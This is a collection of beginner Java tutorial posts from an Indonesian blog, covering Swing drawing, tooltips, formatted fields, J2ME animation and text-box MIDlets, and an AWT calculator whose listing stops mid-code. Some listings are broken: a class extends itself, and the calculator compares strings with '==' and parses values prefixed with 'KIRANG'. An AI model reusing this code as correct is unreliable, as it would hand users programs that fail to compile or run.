Dunia Komputer

Menggambar pada Frame

2010-06-01T20:53:00.003+07:00

Berikut ini adalah source kode untuk menggambar import javax.swing.*;
import java.awt.*;

public class DrawingColor{
public static void main(String[] args) {
DrawingColor d = new DrawingColor();
}

public DrawingColor(){
JFrame frame = new JFrame("Drawing colorfull shapes");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.getContentPane().add(new MyComponent());
frame.setSize(400,400);
frame.setVisible(true);
}

public class MyComponent extends JComponent{
public void paint(Graphics g){
int height = 200;
int width = 120;
g.setColor(Color.red);
g.drawRect(10,10,height,width);
g.setColor(Color.gray);
g.fillRect(11,11,height,width);
g.setColor(Color.red);
g.drawOval(250,20, height,width);
g.setColor(Color.magenta);
g.fillOval(249,19,height,width);
}
}
}

Animation

2009-01-23T16:49:00.003+07:00

Membuat sedikit animasi mugkin akan menambah indah hasil program yang dihasulkan kode berikut adalah salah satu contoh yang mungkin bisa jadi gambaran :

import java.util.*;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class Animation extends MIDlet
{
private Display display; // The display
private AnimationCanvas canvas; // Canvas
private Timer tm; // Timer
private AnimateTimerTask tt; // Task

public Animation()
{
display = Display.getDisplay(this);
canvas = new AnimationCanvas(this);

// Create task that fires off every 1/10 second
tm = new Timer();
tt = new AnimateTimerTask(canvas);
tm.schedule(tt, 0, 100);
}

protected void startApp()
{
display.setCurrent(canvas);
}

protected void pauseApp()
{ }

protected void destroyApp(boolean unconditional)
{ }

public void exitMIDlet()
{
destroyApp(true);
notifyDestroyed();
}
}
class AnimateTimerTask extends TimerTask
{
private AnimationCanvas canvas;

public AnimateTimerTask(AnimationCanvas canvas)
{
this.canvas = canvas;
}

public final void run()
{
// ****************************************************
if ((canvas.x_loc + canvas.radius + canvas.x_dir > canvas.getWidth()) ||
(canvas.x_loc - canvas.radius + canvas.x_dir < 0))
{
canvas.x_dir = -canvas.x_dir;
canvas.changeColor();
canvas.directionChanged++;
}

// **************************************************
if ((canvas.y_loc + canvas.radius + canvas.y_dir > canvas.getHeight()) ||
(canvas.y_loc - canvas.radius + canvas.y_dir < 0))
{
canvas.y_dir = -canvas.y_dir;
canvas.changeColor();
canvas.directionChanged++;
}

//*********************************
canvas.x_loc += canvas.x_dir;
canvas.y_loc += canvas.y_dir;

canvas.repaint();
}
}

class AnimationCanvas extends Canvas implements CommandListener
{
private Animation midlet; // Main midlet
private Command cmExit; // Exit midlet
private int keyFire, // Reset ball
keyRight, // Increase ball radius
keyLeft; // Decrease ball radius
private boolean clearBackground = false; // Clear background
private Random random; // Random number
int x_loc, // Current x & y locations
y_loc,
radius, // Ball radius
red, // rgb colors
green,
blue,
x_dir, // Next x & y positions of ball
y_dir,
start_x, // Where ball starts
start_y,
directionChanged = 0; // How many times we've hit a wall
private static final int MAX_CHANGES = 50;

/*--------------------------------------------------
* Constructor
*-------------------------------------------------*/
public AnimationCanvas(Animation midlet)
{
// ****************************
this.midlet = midlet;

random = new java.util.Random();

// Determine starting location and direction of ball
init();
radius = 7;

// ******************************************
cmExit = new Command("Exit", Command.EXIT, 1);

keyFire = getKeyCode(FIRE);
keyRight = getKeyCode(RIGHT);
keyLeft = getKeyCode(LEFT);

addCommand(cmExit);
setCommandListener(this);
}

protected void paint(Graphics g)
{
// ********************************
if (directionChanged > MAX_CHANGES)
init();

// the background
if (clearBackground)
{
g.setColor(255, 255, 255);
g.fillRect(0, 0, getWidth(), getHeight());
clearBackground = !clearBackground;
}

// Set warna dan gambar
g.setColor(red, green, blue);
g.fillArc( x_loc, y_loc, radius, radius, 0, 360);
}

/*--------------------------------------------------
* Ini Lokasi ball
*-------------------------------------------------*/
private void init()
{
// Start close to the middle
x_loc = getWidth() / 2;
y_loc = getHeight() / 2;

// The direction the ball is heading
x_dir = (random.nextInt() % 10);
if (x_dir == 0) x_dir = 1;

y_dir = (random.nextInt() % 10);
if (y_dir == 0) y_dir = 1;

directionChanged = 0;
clearBackground = true;
changeColor();
}

protected void changeColor()
{
// The shift is to remove any sign (negative) bit
red = (random.nextInt() >>> 1) % 256;
green = (random.nextInt() >>> 1) % 256;
blue = (random.nextInt() >>> 1) % 256;
}

/*--------------------------------------------------
* Event handling
*-------------------------------------------------*/
public void commandAction(Command c, Displayable d)
{
if (c == cmExit)
midlet.exitMIDlet();
}

protected void keyPressed(int keyCode)
{
// Restart
if (keyCode == keyFire)
init();
// Decrease ball size
else if (keyCode == keyLeft)
radius = Math.max(1, --radius);
else if (keyCode == keyRight)
// Increase ball size
radius = Math.min(getWidth() / 4, ++radius);
}
}

Contoh Text-Box Midlet

2009-01-23T16:45:00.002+07:00

Lansung pada pokoknya hehe.. kita akan buat contoh program text Box Midlet... ketikan aja kode dibawah ini ya....!

import java.io.*;
import javax.microedition.lcdui.Command;
import javax.microedition.lcdui.CommandListener;
import javax.microedition.lcdui.Displayable;

import javax.microedition.lcdui.*;

import javax.microedition.midlet.MIDlet;

public class TextBoxMIDlet extends TextBoxMIDlet implements CommandListener {

// Exit command
private static final Command EXIT_COMMAND =
new Command("Exit", Command.EXIT, 0);

// OK command
private static final Command OK_COMMAND =
new Command("OK", Command.OK, 0);

// Clear text box content
private static final Command CLEAR_COMMAND =
new Command("Clear", Command.SCREEN, 1);

// Reverse the content of the text box
private static final Command REVERSE_COMMAND =
new Command("Reverse", Command.SCREEN, 1);

protected void startApp() {
boolean firstTime = !started;
super.startApp();

// If this is the first execution
// of startApp, install commands
if (firstTime) {
textBox.addCommand(OK_COMMAND);
textBox.addCommand(EXIT_COMMAND);
textBox.addCommand(CLEAR_COMMAND);
textBox.addCommand(REVERSE_COMMAND);
textBox.setCommandListener(this);
}
}

// Command implementations.
public void commandAction(Command c, Displayable d) {
if (c == EXIT_COMMAND) {
destroyApp(true);
notifyDestroyed();
} else if (c == OK_COMMAND) {
System.out.println("OK pressed");
} else if (c == CLEAR_COMMAND) {
textBox.setString(null);
} else if (c == REVERSE_COMMAND) {
String str = textBox.getString();
if (str != null) {
StringBuffer sb = new StringBuffer(str);
textBox.setString(sb.reverse().toString());
}
}
}
}

class TextBoxMIDlet extends MIDlet {

// Maximum size of the text in the TextBox
private static final int MAX_TEXT_SIZE = 64;

// The TextBox
protected TextBox textBox;

// The MIDlet's Display object
protected Display display;

// Flag indicating first call of startApp
protected boolean started;

protected void startApp() {
if (!started) {
// First time through - initialize
// Get the text to be displayed
String str = null;
try {
InputStream is = getClass().getResourceAsStream("test.txt");
InputStreamReader r = new InputStreamReader(is);
char[] buffer = new char[32];
StringBuffer sb = new StringBuffer();
int count;
while ((count = r.read(buffer, 0, buffer.length)) > -1) {
sb.append(buffer, 0, count);
}
str = sb.toString();
} catch (IOException ex) {
str = "Failed to load text";
}

// Create the TextBox
textBox = new TextBox("TextBox Example", str,
MAX_TEXT_SIZE, TextField.ANY);

// Create a ticker and install it
Ticker ticker = new Ticker("This is a ticker...");
textBox.setTicker(ticker);

// Install the TextBox as the current screen
display = Display.getDisplay(this);
display.setCurrent(textBox);

started = true;
}
}

protected void pauseApp() {
}

protected void destroyApp(boolean unconditional) {
}
}

WindowClosingExample

2009-01-23T16:37:00.001+07:00

Kala Kita membuat program di dekstop kadang tanda silang yang berada pada jendela hasil eksekusi program tidak bisa ditutup, mungkin karena ada beberapa komponen yang belum dimasukan, sebagai contoh program mungkin kode dibawah ini bisa jadi rujukan buat pembaca sekalian.

package org.kodejava.example.swing;

import java.awt.Button;
import java.awt.Dimension;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;

import javax.swing.JFrame;

public class WindowClosingExample extends JFrame {
public static void main(String[] args) {
WindowClosingExample frame = new WindowClosingExample();
frame.setSize(new Dimension(200, 200));
frame.add(new Button("Hello World"));

//
// Add window listener by implementing WindowAdapter class to the
// frame instance. To handle the close event we just need to implement
// the windowClosing() method.
//
frame.addWindowListener(new WindowAdapter() {

@Override
public void windowClosing(WindowEvent e) {
System.exit(0);
}
});

//
// Show the frame
//
frame.setVisible(true);
}
}

Tool Tips dengan Swing

2009-01-23T16:21:00.006+07:00

Kalau kita menggerakan mouse melewati suatu objek di dekstop, kadang kita akan melihat
tulisan muncul dengan tiba-tibaatau dengan kata lain adalah Tool Tips yang berfungsi untuk memberikan keterangan tentang funsi suatu objek yang terlewati oleh mouse, pada contoh kali ini kita akan membuat tool tips dengan mengunakan java swing.

kode ini bisa di jalankan pada semua IDE nya java...
ketikan kode berikut ini :

package org.kodejava.example.swing;

import javax.swing.*;
import java.awt.*;

public class MultilinesToolTip {
public static void main(String[] args) {
JFrame frame = new JFrame("Tool Tip Demo");
frame.setSize(200, 200);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

JLabel label = new JLabel("Tool Tips");

//
// Setting tool tip for our Swing JLabel component using an html
// formatted string so that we can create a multi lines tool tip.
//
label.setToolTipText(
"Coba ToolTips");
frame.getContentPane().setLayout(new FlowLayout(FlowLayout.CENTER));
frame.getContentPane().add(label);

frame.setVisible(true);}}

FormattedTextFieldExample JFrame

2009-01-23T16:15:00.001+07:00

Langsung saja deh kali ini kita membuat contoh aplikasi Format TextField di dekstop,
ketikan kode yang ada disini :

package org.kodejava.example.swing;

import javax.swing.*;
import javax.swing.text.MaskFormatter;
import javax.swing.text.DateFormatter;
import java.awt.*;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.text.ParseException;
import java.util.Date;

public class FormattedTextFieldExample extends JFrame {
public FormattedTextFieldExample() {
initComponents();
}

private void initComponents() {
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setSize(new Dimension(200, 200));
getContentPane().setLayout(new FlowLayout(FlowLayout.LEFT));

MaskFormatter mask = null;
try {
//
// Create a MaskFormatter for accepting phone number, the # symbol accept
// only a number. We can also set the empty value with a place holder
// character.
//
mask = new MaskFormatter("(###) ###-####");
mask.setPlaceholderCharacter('_');
} catch (ParseException e) {
e.printStackTrace();
}

//
// Create a formatted text field that accept a valid phone number.
//
JFormattedTextField phoneField = new JFormattedTextField(mask);
phoneField.setPreferredSize(new Dimension(100, 20));

//
// Here we create a formatted text field that accept a date value. We
// create an instance of SimpleDateFormat and use it to create a
// DateFormatter instance which will be passed to the JFormattedTextField.
//
DateFormat format = new SimpleDateFormat("dd-MMMM-yyyy");
DateFormatter df = new DateFormatter(format);
JFormattedTextField dateField = new JFormattedTextField(df);
dateField.setPreferredSize(new Dimension(100, 20));
dateField.setValue(new Date());

getContentPane().add(phoneField);
getContentPane().add(dateField);
}

public static void main(String[] args) {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
new FormattedTextFieldExample().setVisible(true);
}
});
}
}

GameActions

2009-01-23T16:03:00.004+07:00

Kali ini kita akan membuat Gambe actions, dengan menggunakan menginport Midletnya sekalian. IDE yang digunakan dalam contoh ini adalah Net-Beans 5.5 dengan mobility-nya...!
lansung saja buat project baru di Net_Beansnya dengan nama file GameAction, lalu ketikan kode dibawah ini :

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class GameActions extends MIDlet
{
private Display display; // The display
private GameActionCanvas canvas; // Canvas

public GameActions()
{
display = Display.getDisplay(this);
canvas = new GameActionCanvas(this);
}

protected void startApp()
{
display.setCurrent( canvas );
}

protected void pauseApp()
{ }

protected void destroyApp( boolean unconditional )
{ }

public void exitMIDlet()
{
destroyApp(true);
notifyDestroyed();
}
}

/*--------------------------------------------------
* GameActionCanvas.java
*
* Game action event handling
*-------------------------------------------------*/
class GameActionCanvas extends Canvas implements CommandListener
{
private Command cmExit; // Exit midlet
private String keyText = null; // Key code text
private GameActions midlet;

/*--------------------------------------------------
* Constructor
*-------------------------------------------------*/
public GameActionCanvas(GameActions midlet)
{
this.midlet = midlet;

// Create exit command & listen for events
cmExit = new Command("Exit", Command.EXIT, 1);
addCommand(cmExit);
setCommandListener(this);
}

/*--------------------------------------------------
* Paint the text representing the key code
*-------------------------------------------------*/
protected void paint(Graphics g)
{
// Clear the background (to white)
g.setColor(255, 255, 255);
g.fillRect(0, 0, getWidth(), getHeight());

// Set color and draw text
if (keyText != null)
{
// Draw with black pen
g.setColor(0, 0, 0);
// Center the text
g.drawString(keyText, getWidth()/2, getHeight()/2, Graphics.TOP | Graphics.HCENTER);
}
}

/*--------------------------------------------------
* Command event handling
*-------------------------------------------------*/
public void commandAction(Command c, Displayable d)
{
if (c == cmExit)
midlet.exitMIDlet();
}

/*--------------------------------------------------
* Game action event handling
* A game action will be converted into a key code
* and handed off to this method
*-------------------------------------------------*/
protected void keyPressed(int keyCode)
{
switch (getGameAction(keyCode))
{
// Place logic of each action inside the case
case FIRE:
case UP:
case DOWN:
case LEFT:
case RIGHT:
case GAME_A:
case GAME_B:
case GAME_C:
case GAME_D:
default:
// Print the text of the game action
keyText = getKeyName(keyCode);
}
repaint();
}
}

Membuat Kalkulator dengan J Creator

2009-01-16T16:43:00.003+07:00

MEmbuat Kalkulator dengan Menggunakan J Creator
Tidak terlalu sulit, yang penting di PC Mu sudah ada minimal J2SDK lalu J Creator, Lalu Copy kan Kode Dibawah ini :

import java.awt.*;
import java.awt.event.*;

public class CalculatorH2_DIIITKJ
{

Font Bold=new Font("Helvetica", Font.BOLD, 20);
Label TampilanLayar = new Label("MULAI",Label.RIGHT);
Label TampilanLayarkiri = new Label("",Label.RIGHT);
Label TampilanLayarkanan = new Label("",Label.CENTER);
Button Panggil_Simpanan=new Button("MR");
Button Bersihkan_Simpanan=new Button("MC");

public void map_KalkulOgut()
{
event_handler e1=new event_handler ( );
Frame KalkulOgut=new Frame(" ................................... ");
KalkulOgut.setResizable(true);
KalkulOgut.setSize(520,400);
KalkulOgut.setBackground(Color.blue);
KalkulOgut.setLayout(null);

//Tampilan Display. bisa di edit menggunakan Label
TampilanLayar.setBounds(70,50,360,40);
TampilanLayar.setFont(new Font("Helvetica", Font.BOLD, 25));
TampilanLayar.setForeground(Color.white);
TampilanLayar.setBackground(Color.red);
KalkulOgut.add(TampilanLayar);

TampilanLayarkanan.setBounds(68,48,364,44);
TampilanLayarkanan.setFont(new Font("Algerian", Font.BOLD, 40));
TampilanLayarkanan.setForeground(Color.red);
TampilanLayarkanan.setBackground(Color.green);
KalkulOgut.add(TampilanLayarkanan);

//Menambah Tombol 1 sampai dengan 0
Button simpanan=new Button("M+");
simpanan.setBounds(72,96,60,34);
simpanan.setBackground(Color.white);
simpanan.setForeground(Color.red);
simpanan.setFont(Bold);
simpanan.addActionListener(e1);
KalkulOgut.add(simpanan);

Bersihkan_Simpanan.setEnabled(false);
Bersihkan_Simpanan.setBounds(136,96,60,34);
Bersihkan_Simpanan.setBackground(Color.black);
Bersihkan_Simpanan.setForeground(Color.red);
Bersihkan_Simpanan.setFont(Bold);
Bersihkan_Simpanan.addActionListener(e1);
KalkulOgut.add(Bersihkan_Simpanan);

Panggil_Simpanan.setBounds(200,96,60,34);
Panggil_Simpanan.setBackground(Color.yellow);
Panggil_Simpanan.setForeground(Color.red);
Panggil_Simpanan.setFont(Bold);
Panggil_Simpanan.addActionListener(e1);
Panggil_Simpanan.setEnabled(false);
KalkulOgut.add(Panggil_Simpanan);

Button satu=new Button("1");
satu.setBounds(72,134,60,34);
satu.setBackground(Color.orange);
satu.setFont(Bold);
satu.addActionListener(e1);
KalkulOgut.add(satu);

Button dua=new Button("2");
dua.addActionListener(e1);
dua.setBackground(Color.orange);
dua.setBounds(136,134,60,34);
dua.setFont(Bold);
KalkulOgut.add(dua);

Button tiga=new Button("3");
tiga.addActionListener(e1);
tiga.setBackground(Color.orange);
tiga.setBounds(200,134,60,34);
tiga.setFont(Bold);
KalkulOgut.add(tiga);

Button empat=new Button("4");
empat.setBackground(Color.orange);
empat.addActionListener(e1);
empat.setFont(Bold);
empat.setBounds(72,172,60,34);
KalkulOgut.add(empat);

Button lima=new Button("5");
lima.setBackground(Color.orange);
lima.addActionListener(e1);
lima.setFont(Bold);
lima.setBounds(136,172,60,34);
KalkulOgut.add(lima);

Button enam=new Button("6");
enam.setBackground(Color.orange);
enam.addActionListener(e1);
enam.setFont(Bold);
enam.setBounds(200,172,60,34);
KalkulOgut.add(enam);

Button tujuh=new Button("7");
tujuh.setBackground(Color.orange);
tujuh.addActionListener(e1);
tujuh.setFont(Bold);
tujuh.setBounds(72,210,60,34);
KalkulOgut.add(tujuh);

Button delapan=new Button("8");
delapan.setBackground(Color.orange);
delapan.addActionListener(e1);
delapan.setFont(Bold);
delapan.setBounds(136,210,60,34);
KalkulOgut.add(delapan);

Button sembilan=new Button("9");
sembilan.setBackground(Color.orange);
sembilan.addActionListener(e1);
sembilan.setFont(Bold);
sembilan.setBounds(200,210,60,34);
KalkulOgut.add(sembilan);

Button kosong=new Button("0");
kosong.setBackground(Color.orange);
kosong.addActionListener(e1);
kosong.setFont(Bold);
kosong.setBounds(136,248,60,34);
KalkulOgut.add(kosong);

Button nanin =new Button("STIMIK - IKMI CIREBON");
nanin.setForeground(Color.red);
nanin.setBackground(Color.green);
nanin.addActionListener(e1);
nanin.setFont(Bold);
nanin.setBounds(72,290,358,50);
KalkulOgut.add(nanin);

Label simbol =new Label("BRAVO MAHASISWA DIII TKJ KELAS H2 STIMIK ",Label.LEFT);
simbol.setForeground(Color.white);
simbol.setFont(Bold);
simbol.setBounds(33,350,550,50);
KalkulOgut.add(simbol);

//Tombol operasi
Button TombolBagi = new Button("BAGI");
TombolBagi.setBackground(Color.gray);
TombolBagi.addActionListener(e1);
TombolBagi.setBounds(264,134,100,34);
TombolBagi.setForeground(Color.green);
TombolBagi.setFont(Bold);
KalkulOgut.add(TombolBagi);

Button TombolKali = new Button("KALI");
TombolKali.setBackground(Color.gray);
TombolKali.addActionListener(e1);
TombolKali.setBounds(264,172,100,34);
TombolKali.setForeground(Color.green);
TombolKali.setFont(Bold);
KalkulOgut.add(TombolKali);

Button TombolPengurangan = new Button("KIRANG");
TombolPengurangan.setBackground(Color.gray);
TombolPengurangan.addActionListener(e1);
TombolPengurangan.setBounds(264,210,100,34);
TombolPengurangan.setForeground(Color.green);
TombolPengurangan.setFont(Bold);
KalkulOgut.add(TombolPengurangan);

Button TombolTambah= new Button("TAMBIH");
TombolTambah.setBackground(Color.gray);
TombolTambah.addActionListener(e1);
TombolTambah.setBounds(264,248,100,34);
TombolTambah.setForeground(Color.green);
TombolTambah.setFont(Bold);
KalkulOgut.add(TombolTambah);

Button titik= new Button(".");
titik.setBackground(Color.gray);
titik.addActionListener(e1);
titik.setBounds(200,248,60,34);
titik.setForeground(Color.green);
titik.setFont(Bold);
KalkulOgut.add(titik);

Button TombolTambahKurang = new Button("+/-");
TombolTambahKurang.setBackground(Color.gray);
TombolTambahKurang.addActionListener(e1);
TombolTambahKurang.setBounds(72,248,60,34);
TombolTambahKurang.setForeground(Color.green);
TombolTambahKurang.setFont(Bold);
KalkulOgut.add(TombolTambahKurang);

Button Pembersih = new Button("C");
Pembersih.setBackground(Color.red);
Pembersih.addActionListener(e1);
Pembersih.setBounds(370,134,60,34);
Pembersih.setForeground(Color.white);
Pembersih.setFont(Bold);
KalkulOgut.add(Pembersih);

Button persenBae = new Button("%");
persenBae.setBackground(Color.gray);
persenBae.addActionListener(e1);
persenBae.setBounds(370,172,60,34);
persenBae.setForeground(Color.green);
persenBae.setFont(Bold);
KalkulOgut.add(persenBae);

Button satu_Dibagi_X = new Button("1/x");
satu_Dibagi_X.setBackground(Color.gray);
satu_Dibagi_X.addActionListener(e1);
satu_Dibagi_X.setBounds(370,210,60,34);
satu_Dibagi_X.setForeground(Color.green);
satu_Dibagi_X.setFont(Bold);
KalkulOgut.add(satu_Dibagi_X);

Button SamiSareng = new Button("=");
SamiSareng.setBackground(Color.gray);
SamiSareng.addActionListener(e1);
SamiSareng.setBounds(370,248,60,34);
SamiSareng.setForeground(Color.green);
SamiSareng.setFont(Bold);
KalkulOgut.add(SamiSareng);
KalkulOgut.setVisible(true);
}
public static void main(String args[])
{

CalculatorH2_DIIITKJ m1=new CalculatorH2_DIIITKJ();
m1.map_KalkulOgut();
}
String temp="";
String sign="";
double result=0;

//Membuat perubahan Hasil = sebelum 0

double temp_minus=0;
boolean flag_minus_first=true;
boolean mul_flag=true;
double mul_temp=1;
double memory;
boolean memory_flag=false;
boolean divide_flag=true;
double divide_temp=1;
boolean mr_flag=false;

///Penggunaan mekanisme untuk penggunaan memori;
boolean point_flag=true;

//boolean tambah_bagi_kurang_flag=true;
private class event_handler
implements ActionListener
{
public void actionPerformed(ActionEvent e)
{
String cmd=e.getActionCommand();
System.out.println(cmd);

//****************************************************************************

if(cmd=="+/-")
{
//Tambah_bagi_pengurangan_flag=true
//apabila pemakai telah menekan tombol +/- maka nilai dari temp akan ditampikan di layar
//tampilan tidak menyaring hasil dari variabel

if(temp!="" )
//&& plus_slash_minus_flag==true && )
{
if(Double.parseDouble(temp)>0)
{
temp=("KIRANG"+ temp);
System.out.println("temp="+temp);
TampilanLayar.setText(temp);
}
else if(Double.parseDouble(temp)<0)
{
temp=temp.substring(1,temp.length());
System.out.println("temp="+temp);

TampilanLayar.setText(temp);
}

//tambah_slash_kurang_flag=false;
}

//enters when user press +/- and value from result variable is showing
//on screen in that case temp is always empty conditionly
if(temp==" " )

//&& plus_slash_minus_flag==false)
{
String pm="";
pm=String.valueOf(result);
if(result>0)
{
pm="KIRANG"+pm;
result=Double.parseDouble(pm);
TampilanLayar.setText(String.valueOf(result));
pm="";
}
else if(result<0)
{
pm=pm.substring(1,pm.length());
result=Double.parseDouble(pm);
TampilanLayar.setText(String.valueOf(result));
pm="";
}
System.out.println("result="+result);
}
}

//****************************************************************************
//******************

if(cmd=="%")
{
point_flag=true;
if(temp!="")
{
result=result/Double.parseDouble(temp);
result=result*100;
TampilanLayar.setText(String.valueOf(result));
}
// kontruksi ada dibawah ini
}
//****************************************************************************
// kemandirian operasi

if(cmd=="1/x")
{
point_flag=true;
if(temp!="")
{
double byx=0;
byx=Double.parseDouble(temp);
byx=1/byx;
temp=String.valueOf(byx);
TampilanLayar.setText(temp);
}
if(temp=="")
{
result=1/result;
TampilanLayar.setText(String.valueOf(result));
}

//kontruksi dibawah ini juga coy...!
}
//****************************************************************************
//if(cmd=="+/-")
//{
//poin_flag=true;
//}
//****************************************************************************

if(cmd=="MC")
{
point_flag=true;
//Harus menambahkan flag comaon dalam semua operasi
//dan harus dicatat bila ada penambahan oprasi baru setelah di bawah ini
memory_flag=false;

//mempunyai makna tidak ada nilai yang di simpan dalam M+
memory=0;
Panggil_Simpanan.setEnabled(false);
Bersihkan_Simpanan.setEnabled(false);
}

//****************************************************************************
//******************

if(cmd=="M+")
{
point_flag=true;
if(mr_flag==false)

//yang di gunakan untuk menyimpan dari suatu hasil
if(temp!="")
{
memory_flag=true;
temp=TampilanLayar.getText();
memory=Double.parseDouble(temp);
mul_flag=false;
flag_minus_first=false;
divide_flag=false;
Panggil_Simpanan.setEnabled(true);
Bersihkan_Simpanan.setEnabled(true);
}
if(mr_flag==true)
{
System.out.println("ENTERED IN M+ where mr_flad=false");

memory_flag=true;
result=Double.parseDouble(TampilanLayar.getText());
memory=result;
mul_flag=false;
flag_minus_first=false;
divide_flag=false;
mr_flag=false;
Panggil_Simpanan.setEnabled(true);
Bersihkan_Simpanan.setEnabled(true);
}
}
//****************************************************************************
if(cmd=="MR")
{
point_flag=true;
if(memory_flag==true)
//pemeriksaan nomor berapa saja yang disimpan dengan penggunaan M+
{
temp=String.valueOf(memory);
TampilanLayar.setText(temp);
}
}
//****************************************************************************
if(cmd=="BAGI")
{
point_flag=true;
if(sign=="KIRANG" && temp!="")
{
result=result-
Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
temp="";
divide_flag=false;
}
if(sign=="TAMBIH" && temp!="")
{
result=Double.parseDouble(temp)+result;
TampilanLayar.setText(String.valueOf(result));
temp="";
divide_flag=false;
}
if(sign=="KALI" && temp!="")
{
result=result*Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
temp="";
divide_flag=false;
}
sign="BAGI";
if(temp!="")
{
if(divide_flag==true)
{
divide_temp=Double.parseDouble(temp)/divide_temp;
System.out.println("Divide_temp="+divide_temp);
TampilanLayar.setText(String.valueOf(divide_temp));
temp="";
divide_flag=false;
result=divide_temp;
System.out.println("result="+result);
}
if(divide_flag==false && temp!="")
{
result=result/Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
System.out.println("result="+result);
temp="";
}
}
}
//****************************************************************************
//******************
if(cmd=="KALI")
{
point_flag=true;
if(sign=="BAGI" && temp!="")
{
result=result/Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
System.out.println("result="+result);
temp="";
mul_flag=false;
}
if(sign=="TAMBIH" && temp!="")
{
result=Double.parseDouble(temp)+result;
TampilanLayar.setText(String.valueOf(result));
temp="";
mul_flag=false;

//pengujian statemen beta
}
if(sign=="KIRANG" && temp!="")
{
result=result-Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
temp="";
mul_flag=false;

/// pengujian statemen beta ;
}
sign="KALI";
if(temp!="")
{
if(mul_flag==true)
{
System.out.println("Entered in X where temp!=empty");
mul_temp=mul_temp*Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(mul_temp));
temp="";
result=mul_temp;
System.out.println("result="+result);
mul_flag=false;
}
else
{
System.out.println("Entered in cmd=X and where mul_flag=false");
result=result*Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));////////////////
temp="";
}
}
}

//****************************************************************************
//******************
if(cmd=="TAMBIH")
{
point_flag=true;
if(sign=="BAGI" && temp!="")
{
result=result/Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
System.out.println("result="+result);
temp="";
}
if(sign=="KALI" && temp!="")
{
result=result*Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
temp="";
}
if(sign=="KIRANG" && temp!="")

//e.g 2-2+4 for this like operation
{
result=result-Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
temp="";
}
sign="TAMBIH";
if(temp!="")
{
mul_flag=false;
System.out.println("Entered in + temp!=empty ");
result=Double.parseDouble(temp)+result;
TampilanLayar.setText(String.valueOf(result));
temp="";
System.out.println("result="+result);
System.out.println(String.valueOf(temp));
}
else
{
}
}

//****************************************************************************
//******************
if(cmd=="KIRANG")
{
point_flag=true;
if(sign=="BAGI" && temp!="")
{
result=result/Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
System.out.println("result="+result);
temp="";
flag_minus_first=false;
}
if(sign=="KALI" && temp!="")
{
result=result*Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
temp="";
flag_minus_first=false;
}
if(sign=="TAMBIH" && temp!="")

//jika pengguna memasukan 2-2+ atau nomer manapun
{
result=Double.parseDouble(temp)+result;
TampilanLayar.setText(String.valueOf(result));
temp="";
flag_minus_first=false;
}
sign="KIRANG";
if(temp!="")
{
mul_flag=false;
System.out.println(" Entered in - where temp!=empty ");
if(flag_minus_first==true)

//kapan pertama kali pemakai melaksanakan-operasi setelah mulai program
{
result=Double.parseDouble(temp)-result;
flag_minus_first=false;
System.out.println(result);
}
else
{
result=result-Double.parseDouble(temp);
System.out.println(result);
}
TampilanLayar.setText(String.valueOf(result));
temp="";
}
}

//****************************************************************************
if(cmd=="=")
{
point_flag=true;
if(sign=="TAMBIH")
if(temp!="")
{
mul_flag=false;
divide_flag=false;
flag_minus_first=false;

//pengujian kemungkinan pemindahan
result=Double.parseDouble(temp)+result;
TampilanLayar.setText(String.valueOf(result));
sign="";
temp="";
System.out.println("Hasil="+result);
mr_flag=true;

///penggunaan memori untuk pemanggilan mekanisme
}
if(sign=="KIRANG")
if(temp!="")
{
mul_flag=false;
divide_flag=false;
flag_minus_first=false;

//pengujian kemungkinan pemindahan
result=result-Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
sign="";
temp="";
System.out.println("result="+result);
mr_flag=true;

///penggunaan memori untuk pemanggilan mekanisme
}
if(sign=="KALI")
if(temp!="")
{
mul_flag=false;
divide_flag=false;
flag_minus_first=false;

//pengujian kemungkinan pemindahan
result=result*Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
sign="";
temp="";
mr_flag=true;

///penggunaan memori untuk pemanggilan mekanisme
//mul_temp=1;
}
if(sign=="BAGI")
if(temp!="")
{
mul_flag=false;
divide_flag=false;
flag_minus_first=false;

//pengujian kemungkinan pemindahan
result=result/Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
sign="";
temp="";
mr_flag=true;

///penggunaan memori untuk pemanggilan mekanisme
}
if(sign=="")
if(temp!="")
//pengujian kemungkinan pemindahan
{
result=Double.parseDouble(TampilanLayar.getText());
System.out.println("result="+TampilanLayar.getText());
mul_flag=false;
mr_flag=true;
///penggunaan memori untuk pemanggilan mekanisme (tkj tea pikirkeunuen.just kidul..he.he.)
}
temp="";
}
//****************************************************************************
//******************

if(cmd=="."||cmd=="0" || cmd=="1" ||
cmd=="2" || cmd=="3" || cmd=="4" || cmd=="5" || cmd=="6" || cmd=="7" ||
cmd=="8" || cmd=="9")
{
if(cmd=="." && temp=="" && point_flag==true)
{
temp="0";
temp=temp+cmd;
point_flag=false;
}
else if(cmd=="." && temp!="" && point_flag==true)
{
temp=temp+cmd;
point_flag=false;
}
//temp=temp+cmd;
else if(cmd!=".")
temp=temp+cmd;
TampilanLayar.setText(temp);
System.out.println("temp"+temp);
mr_flag=false;
}

//****************************************************************************
//******************
if(cmd=="C")
{
//tambah_slash_minus_flag=true;
point_flag=true;
mr_flag=false;
divide_temp=1;
divide_flag=true;
mul_flag=true;
temp="";
TampilanLayar.setText("SALAM HANGAT MHS TKJ H2");
result=0;
sign="";
flag_minus_first=true;
mul_temp=1;
System.out.println("result="+result);
System.out.println("temp="+temp);
